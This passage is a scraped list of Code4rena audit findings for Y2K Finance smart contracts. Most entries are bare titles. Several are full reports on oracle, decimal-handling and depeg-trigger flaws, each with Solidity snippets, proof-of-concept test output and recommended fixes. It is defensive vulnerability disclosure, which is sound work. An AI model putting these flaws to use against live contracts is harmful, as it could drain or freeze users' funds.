"QA Report", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/309", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-09-y2k-finance-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/304", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-09-y2k-finance-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/294", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-y2k-finance-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/288", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-y2k-finance-findings", "body": "Gas Optimizations"}, {"title": "Sensitivity to rapid price change", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/287", "labels": ["QA (Quality Assurance)", "sponsor disputed", "old-submission-method"], "target": "2022-09-y2k-finance-findings", "body": "Sensitivity to rapid price change"}, {"title": "A design flaw in the case of using 2 oracles (aka PegOracle)", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/283", "labels": ["bug", "3 (High Risk)", "sponsor disputed", "old-submission-method", "selected-for-report"], "target": "2022-09-y2k-finance-findings", "body": "A design flaw in the case of using 2 oracles (aka PegOracle)"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/282", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-y2k-finance-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/280", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-y2k-finance-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/279", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-y2k-finance-findings", "body": "QA Report"}, {"title": "End epoch cannot be triggered preventing winners to withdraw", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/278", "labels": ["bug", "3 (High Risk)", "high quality report", "sponsor confirmed", "selected-for-report"], "target": "2022-09-y2k-finance-findings", "body": "# Lines of code https://github.com/code-423n4/2022-09-y2k-finance/blob/2175c044af98509261e4147edeb48e1036773771/src/Controller.sol#L198 https://github.com/code-423n4/2022-09-y2k-finance/blob/2175c044af98509261e4147edeb48e1036773771/src/Controller.sol#L246 https://github.com/code-423n4/2022-09-y2k-finance/blob/2175c044af98509261e4147edeb48e1036773771/src/Controller.sol#L261 https://github.com/code-423n4/2022-09-y2k-finance/blob/2175c044af98509261e4147edeb48e1036773771/src/Controller.sol#L277-L286 https://github.com/code-423n4/2022-09-y2k-finance/blob/2175c044af98509261e4147edeb48e1036773771/src/Vault.sol#L203 # Vulnerability details ## Impact At the end of an epoch, the [triggerEndEpoch(...)](https://github.com/code-423n4/2022-09-y2k-finance/blob/2175c044af98509261e4147edeb48e1036773771/src/Controller.sol#L198) is called to trigger 'epoch end without depeg event', making risk users the winners and entitling them to [withdraw](https://github.com/code-423n4/2022-09-y2k-finance/blob/2175c044af98509261e4147edeb48e1036773771/src/Vault.sol#L203) (risk + hedge) from the vault. In the case of the Arbitrum sequencer going down or restarting, there is a [grace period of one hour](https://github.com/code-423n4/2022-09-y2k-finance/blob/2175c044af98509261e4147edeb48e1036773771/src/Controller.sol#L285) before the [getLatestPrice()](https://github.com/code-423n4/2022-09-y2k-finance/blob/2175c044af98509261e4147edeb48e1036773771/src/Controller.sol#L261) returns to execute without reverting. This means that the [triggerEndEpoch(...)](https://github.com/code-423n4/2022-09-y2k-finance/blob/2175c044af98509261e4147edeb48e1036773771/src/Controller.sol#L198) cannot complete during this time, because it calls the [getLatestPrice()](https://github.com/code-423n4/2022-09-y2k-finance/blob/2175c044af98509261e4147edeb48e1036773771/src/Controller.sol#L261). Making this high-priority because unless the [triggerEndEpoch(...)](https://github.com/code-423n4/2022-09-y2k-finance/blob/2175c044af98509261e4147edeb48e1036773771/src/Controller.sol#L198) completes: - winners cannot [withdraw](https://github.com/code-423n4/2022-09-y2k-finance/blob/2175c044af98509261e4147edeb48e1036773771/src/Vault.sol#L203) althought the epoch is over; - during this time the strike price might be reached causing a depeg event at all effects turning the table for the winners; - the [getLatestPrice()](https://github.com/code-423n4/2022-09-y2k-finance/blob/2175c044af98509261e4147edeb48e1036773771/src/Controller.sol#L261) is not functional to the completion of the [triggerEndEpoch(...)](https://github.com/code-423n4/2022-09-y2k-finance/blob/2175c044af98509261e4147edeb48e1036773771/src/Controller.sol#L198), nor to the [withdraw](https://github.com/code-423n4/2022-09-y2k-finance/blob/2175c044af98509261e4147edeb48e1036773771/src/Vault.sol#L203), but only informative used to initialize the event object emitted [at the very end of the triggerEndEpoch function](https://github.com/code-423n4/2022-09-y2k-finance/blob/2175c044af98509261e4147edeb48e1036773771/src/Controller.sol#L246). First two points each constitute independent jsutification, thrid point reinforces the first 2 points. ## Proof of Concept ### triggerEndEpoch reverts if arbiter down or restarted less than eq GRACE_PERIOD_TIME ago (1hr) File: [Controller.sol:L246](https://github.com/code-423n4/2022-09-y2k-finance/blob/2175c044af98509261e4147edeb48e1036773771/src/Controller.sol#L246) Revert if getLatestPrice reverts. ```solidity function triggerEndEpoch(uint256 marketIndex, uint256 epochEnd) public { < ... omitted ... > emit DepegInsurance( keccak256( abi.encodePacked( marketIndex, insrVault.idEpochBegin(epochEnd), epochEnd ) ), tvl, false, epochEnd, block.timestamp, getLatestPrice(insrVault.tokenInsured()) // @audit getLatestPrice reverts while sequencer unavailable or during grace period ); } ``` File: [Controller.sol:L277-L286](https://github.com/code-423n4/2022-09-y2k-finance/blob/2175c044af98509261e4147edeb48e1036773771/src/Controller.sol#L277-L286) Revert if sequencer down or grace period after restart not over. ```solidity function getLatestPrice(address _token) public view returns (int256 nowPrice) { < ... omitted ... > bool isSequencerUp = answer == 0; if (!isSequencerUp) { revert SequencerDown(); } // Make sure the grace period has passed after the sequencer is back up. uint256 timeSinceUp = block.timestamp - startedAt; if (timeSinceUp <= GRACE_PERIOD_TIME) { // @audit 1 hour revert GracePeriodNotOver(); } < ... omitted ... > } ``` ### withdraw fails if triggerEndEpoch did not execute successfully File: [Vault.sol:L203](https://github.com/code-423n4/2022-09-y2k-finance/blob/2175c044af98509261e4147edeb48e1036773771/src/Vault.sol#L203) Can execute if block.timestamp > epochEnd, but fails if trigger did not execute. Winners cannot withdraw. ```solidity function withdraw( uint256 id, uint256 assets, address receiver, address owner ) external override epochHasEnded(id) // @audit same as require((block.timestamp > id) || idDepegged[id]), hence independent from triggers. marketExists(id) returns (uint256 shares) { < ... omitted ... > uint256 entitledShares = beforeWithdraw(id, shares); // @audit ratio is idClaimTVL[id]/ifFinalTVL[id], hence zero unless triggers executed < ... omitted ... > emit Withdraw(msg.sender, receiver, owner, id, assets, entitledShares); asset.transfer(receiver, entitledShares); return entitledShares; } ``` ## Tools Used n/a ## Recommended Mitigation Steps The latest price is retrieved at the very end of the [triggerEndEpoch(...)](https://github.com/code-423n4/2022-09-y2k-finance/blob/2175c044af98509261e4147edeb48e1036773771/src/Controller.sol#L198) for the only purpose of initializing the DepegInsurance event. Since it is used for informational purpose (logging / offchain logging) and not for functional purpose to the [triggerEndEpoch(...)](https://github.com/code-423n4/2022-09-y2k-finance/blob/2175c044af98509261e4147edeb48e1036773771/src/Controller.sol#L198) execution, it can be relaxed. Depending on how the event is used, when getLatestPrice() is called for informative/logging purpose only, there could be few alternatives: - log a 0 when SequencerDown or GRACE_PERIOD_TIME not passed - log a 0 when SequencerDown and ignore GRACE_PERIOD_TIME Once events are logged off-chain, some post processing may be used to correct/update the values with accurate data."}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/276", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-y2k-finance-findings", "body": "Gas Optimizations"}, {"title": "Immutable address owner is risky", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/274", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed", "old-submission-method"], "target": "2022-09-y2k-finance-findings", "body": "# Lines of code https://github.com/code-423n4/2022-09-y2k-finance/blob/bca5080635370424a9fe21fe1aded98345d1f723/src/VaultFactory.sol#L157 https://github.com/code-423n4/2022-09-y2k-finance/blob/bca5080635370424a9fe21fe1aded98345d1f723/src/VaultFactory.sol#L163-L374 # Vulnerability details # Immutable address owner is risky in `VaultFactory.sol` ### Impact The following contracts and functions, allow admins to interact with core functions such as: `VaultFactory.sol` functions for: - createNewMarket - deployMoreAssets - setController - changeTreasury - changeTimewindow - changeController - changeOracle Given that `admin` is immutable it's very risky because it is irrecoverable from any mistakes Scenario: If an incorrect address, e.g. for which the private key is not known, is used accidentally then it prevents the use of all the `onlyAdmin()` functions forever, which includes the changing of various critical addresses and parameters. This use of incorrect address may not even be immediately apparent given that these functions are probably not used immediately. When noticed, due to a failing `onlyAdmin()` function call, it will force the redeployment of these contracts and require appropriate changes and notifications for switching from the old to new address. This will diminish trust in the protocol and incur a significant reputational damage. ### Github Permalinks https://github.com/code-423n4/2022-09-y2k-finance/blob/bca5080635370424a9fe21fe1aded98345d1f723/src/VaultFactory.sol#L157 - Admin functions affected https://github.com/code-423n4/2022-09-y2k-finance/blob/bca5080635370424a9fe21fe1aded98345d1f723/src/VaultFactory.sol#L163-L374 ### Recommended steps Recommend remove immutable from admin address. Also taking care while deploying the contract / emitting an event when assigning _admin so in case it is wrongly deployed, it can be redeployed earlier. Finally adding a 2 steps transfer from admin for cases when admin needs to be migrate to another address. "}, {"title": "function changeController() has rug potential as admin can unilaterally withdraw all user funds from both risk and insure vaults", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/269", "labels": ["bug", "2 (Med Risk)", "edited-by-warden", "selected-for-report"], "target": "2022-09-y2k-finance-findings", "body": "function changeController() has rug potential as admin can unilaterally withdraw all user funds from both risk and insure vaults"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/266", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-09-y2k-finance-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/261", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-y2k-finance-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/257", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-09-y2k-finance-findings", "body": "Gas Optimizations"}, {"title": "getLatestPrice() in Controller don't support tokens or prices with more than 18 precision", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/253", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-y2k-finance-findings", "body": "getLatestPrice() in Controller don't support tokens or prices with more than 18 precision"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/250", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-y2k-finance-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/242", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-09-y2k-finance-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/239", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-09-y2k-finance-findings", "body": "Gas Optimizations"}, {"title": "StakingRewards: Significant loss of precision possible", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/225", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged", "selected-for-report"], "target": "2022-09-y2k-finance-findings", "body": "StakingRewards: Significant loss of precision possible"}, {"title": "Fee-on-Transfer tokens cause problems in multiple places", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/221", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged", "selected-for-report"], "target": "2022-09-y2k-finance-findings", "body": "Fee-on-Transfer tokens cause problems in multiple places"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/212", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-y2k-finance-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/211", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-y2k-finance-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/208", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-y2k-finance-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/207", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-09-y2k-finance-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/206", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-y2k-finance-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/205", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-y2k-finance-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/204", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-y2k-finance-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/203", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-y2k-finance-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/201", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-y2k-finance-findings", "body": "Gas Optimizations"}, {"title": "Incorrect handling of pricefeed.decimals()", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/195", "labels": ["bug", "3 (High Risk)", "high quality report", "resolved", "sponsor confirmed", "edited-by-warden", "selected-for-report"], "target": "2022-09-y2k-finance-findings", "body": "# Lines of code https://github.com/code-423n4/2022-09-y2k-finance/blob/2175c044af98509261e4147edeb48e1036773771/src/oracles/PegOracle.sol#L46-L83 https://github.com/code-423n4/2022-09-y2k-finance/blob/2175c044af98509261e4147edeb48e1036773771/src/Controller.sol#L299-L300 # Vulnerability details ## Impact Wrong maths for handling pricefeed decimals. This code will only work for pricefeeds of 8 decimals, any others give wrong/incorrect data. The maths used can be shown in three lines: ```solidity nowPrice = (price1 * 10000) / price2; nowPrice = nowPrice * int256(10**(18 - priceFeed1.decimals())); return nowPrice / 1000000; ``` Line1: adds 4 decimals Line2: adds (18 - d) decimals, (where d = pricefeed.decimals()) Line3: removes 6 decimals Total: adds (16 - d) decimals when d=8, the contract correctly returns an 8 decimal number. However, when d = 6, the function will return a 10 decimal number. This is further raised by (18-d = 12) decimals when checking for depeg event, leading to a 22 decimal number which is 4 orders of magnitude incorrect. if d=18, (like usd-eth pricefeeds) contract fails / returns 0. All chainlink contracts which give price in eth, operate with 18 decimals. So this can cripple the system if added later. ## Proof of Concept Running the test AssertTest.t.sol:testPegOracleMarketCreation and changing the line on https://github.com/code-423n4/2022-09-y2k-finance/blob/2175c044af98509261e4147edeb48e1036773771/test/AssertTest.t.sol#L30 to ```solidity PegOracle pegOracle3 = new PegOracle( 0xB1552C5e96B312d0Bf8b554186F846C40614a540, //usd-eth contract address btcEthOracle ); ``` gives this output ``` oracle3price1: 1085903802394919427 oracle3price2: 13753840915281064000 oracle3price1 / oracle3price2: 0 ``` returning an oracle value of 0. Simulating with a mock price feed of 6 decimals gives results 4 orders of magnitude off. ## Tools Used Foundry, vs-code ## Recommended Mitigation Steps Since only the price ratio is calculated, there is no point in increasing the decimal by (18-d) in the second line. Proposed solution: ```solidity nowPrice = (price1 * 10000) / price2; nowPrice = nowPrice * int256(10**(priceFeed1.decimals())) * 100; return nowPrice / 1000000; ``` This returns results in d decimals, no matter the value of d. "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/185", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-y2k-finance-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/184", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-y2k-finance-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/178", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-09-y2k-finance-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/176", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-09-y2k-finance-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/175", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-09-y2k-finance-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/166", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-09-y2k-finance-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/165", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-y2k-finance-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/163", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-y2k-finance-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/162", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-y2k-finance-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/158", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-y2k-finance-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/156", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-09-y2k-finance-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/149", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-09-y2k-finance-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/145", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-y2k-finance-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/144", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-y2k-finance-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/134", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-y2k-finance-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/133", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-09-y2k-finance-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/132", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-09-y2k-finance-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/123", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-y2k-finance-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/121", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-y2k-finance-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/117", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-y2k-finance-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/116", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-y2k-finance-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/113", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-09-y2k-finance-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/110", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-09-y2k-finance-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/108", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-y2k-finance-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/106", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-09-y2k-finance-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/103", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-y2k-finance-findings", "body": "Gas Optimizations"}, {"title": "Oracle is tracked per token instead of per pair, leading to surprise results", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/100", "labels": ["bug", "2 (Med Risk)", "sponsor disputed", "selected-for-report"], "target": "2022-09-y2k-finance-findings", "body": "Oracle is tracked per token instead of per pair, leading to surprise results"}, {"title": "Rewards are not rolled over", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/93", "labels": ["bug", "2 (Med Risk)", "sponsor disputed", "selected-for-report"], "target": "2022-09-y2k-finance-findings", "body": "Rewards are not rolled over"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/91", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-y2k-finance-findings", "body": "QA Report"}, {"title": "`Vault:deposit` should transfer the amount `assets` and not `shares`.", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/78", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-09-y2k-finance-findings", "body": "`Vault:deposit` should transfer the amount `assets` and not `shares`."}, {"title": "Depeg event can happen at incorrect price", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/69", "labels": ["bug", "3 (High Risk)", "sponsor confirmed", "selected-for-report"], "target": "2022-09-y2k-finance-findings", "body": "# Lines of code https://github.com/code-423n4/2022-09-y2k-finance/blob/main/src/Controller.sol#L96 # Vulnerability details ## Impact Depeg event can still happen when the price of a pegged asset is equal to the strike price of a Vault which is incorrect. This docs clearly mentions: \"When the price of a pegged asset is below the strike price of a Vault, a Keeper(could be anyone) will trigger the depeg event and both Vaults(hedge and risk) will swap their total assets with the other party.\" - https://code4rena.com/contests/2022-09-y2k-finance-contest ## Proof of Concept 1. Assume strike price of vault is 1 and current price of pegged asset is also 1 2. User calls [triggerDepeg](https://github.com/code-423n4/2022-09-y2k-finance/blob/main/src/Controller.sol#L148) function which calls isDisaster modifier to check the depeg eligibility 3. Now lets see [isDisaster](https://github.com/code-423n4/2022-09-y2k-finance/blob/main/src/Controller.sol#L83) modifier ``` modifier isDisaster(uint256 marketIndex, uint256 epochEnd) { address[] memory vaultsAddress = vaultFactory.getVaults(marketIndex); if( vaultsAddress.length != VAULTS_LENGTH ) revert MarketDoesNotExist(marketIndex); address vaultAddress = vaultsAddress[0]; Vault vault = Vault(vaultAddress); if(vault.idExists(epochEnd) == false) revert EpochNotExist(); if( vault.strikePrice() < getLatestPrice(vault.tokenInsured()) ) revert PriceNotAtStrikePrice(getLatestPrice(vault.tokenInsured())); if( vault.idEpochBegin(epochEnd) > block.timestamp) revert EpochNotStarted(); if( block.timestamp > epochEnd ) revert EpochExpired(); _; } ``` 4. Assume block.timestamp is at correct timestamp (between idEpochBegin and epochEnd), so none of revert execute. Lets look into the interesting one at ``` if( vault.strikePrice() < getLatestPrice(vault.tokenInsured()) ) revert PriceNotAtStrikePrice(getLatestPrice(vault.tokenInsured())); ``` 5. Since in our case price of vault=price of pegged asset so if condition does not execute and finally isDisaster completes without any revert meaning go ahead of depeg 6. But this is incorrect since price is still not below strike price and is just equal ## Recommended Mitigation Steps Change the isDisaster modifier to revert when price of a pegged asset is equal to the strike price of a Vault ``` if( vault.strikePrice() <= getLatestPrice(vault.tokenInsured()) ) revert PriceNotAtStrikePrice(getLatestPrice(vault.tokenInsured())); ```"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/68", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-y2k-finance-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/67", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-y2k-finance-findings", "body": "QA Report"}, {"title": "It's possible to change for Vault and lost control on it", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/66", "labels": ["bug", "2 (Med Risk)", "sponsor disputed", "selected-for-report"], "target": "2022-09-y2k-finance-findings", "body": "It's possible to change for Vault and lost control on it"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/62", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-y2k-finance-findings", "body": "QA Report"}, {"title": "Different Oracle issues can return outdated prices", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/61", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed", "selected-for-report"], "target": "2022-09-y2k-finance-findings", "body": "# Lines of code https://github.com/code-423n4/2022-09-y2k-finance/blob/ac3e86f07bc2f1f51148d2265cc897e8b494adf7/src/oracles/PegOracle.sol#L63 https://github.com/code-423n4/2022-09-y2k-finance/blob/ac3e86f07bc2f1f51148d2265cc897e8b494adf7/src/Controller.sol#L308 https://github.com/code-423n4/2022-09-y2k-finance/blob/ac3e86f07bc2f1f51148d2265cc897e8b494adf7/src/oracles/PegOracle.sol#L126 # Vulnerability details ## Impact Different problems have been found with the use of the oracle that can incur economic losses when the oracle is not consumed in a completely safe way. ## Proof of Concept Thre problems found are: - The `timeStamp` check is not correct since in both cases it is done against 0, which would mean that a date of 2 years ago would be valid, so old prices can be taken. ```javascript function getLatestPrice(address _token) public view returns (int256 nowPrice) { ... if(timeStamp == 0) revert TimestampZero(); return price; } ``` - Oracle price 1 can be outdated: The `latestRoundData` method of the `PegOracle` contract calls `priceFeed1.latestRoundData();` directly, but does not perform the necessary round or timestamp checks, and delegates them to the caller, but these checks are performed on price2 because it calls `getOracle2_Price` in this case, this inconsistency between how it take the price1 and price2 behaves favors human errors when consuming the oracle. ## Recommended Mitigation Steps For the timestamp issue, it should be checked like this: ```diff + uint constant observationFrequency = 1 hours; function getLatestPrice(address _token) public view returns (int256 nowPrice) { ... ( uint80 roundID, int256 price, , uint256 timeStamp, uint80 answeredInRound ) = priceFeed.latestRoundData(); uint256 decimals = 10**(18-(priceFeed.decimals())); price = price * int256(decimals); if(price <= 0) revert OraclePriceZero(); if(answeredInRound < roundID) revert RoundIDOutdated(); - if(timeStamp == 0) + if(timeStamp < block.timestamp - uint256(observationFrequency)) revert TimestampZero(); return price; } ``` "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/58", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-y2k-finance-findings", "body": "Gas Optimizations"}, {"title": "After the vault expires, users may still receive rewards through the StakingRewards contract", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/57", "labels": ["bug", "2 (Med Risk)", "sponsor disputed", "selected-for-report"], "target": "2022-09-y2k-finance-findings", "body": "After the vault expires, users may still receive rewards through the StakingRewards contract"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/56", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-09-y2k-finance-findings", "body": "Gas Optimizations"}, {"title": "StakingRewards reward rate can be dragged out and diluted", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/52", "labels": ["bug", "2 (Med Risk)", "sponsor disputed", "selected-for-report"], "target": "2022-09-y2k-finance-findings", "body": "StakingRewards reward rate can be dragged out and diluted"}, {"title": "StakingRewards.setRewardsDuration allows setting near zero or enormous rewardsDuration, which breaks reward logic", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/51", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-09-y2k-finance-findings", "body": "StakingRewards.setRewardsDuration allows setting near zero or enormous rewardsDuration, which breaks reward logic"}, {"title": "StakingRewards.sol#notifyRewardAmount() Improper reward balance checks can make some users unable to withdraw their rewards", "html_url": 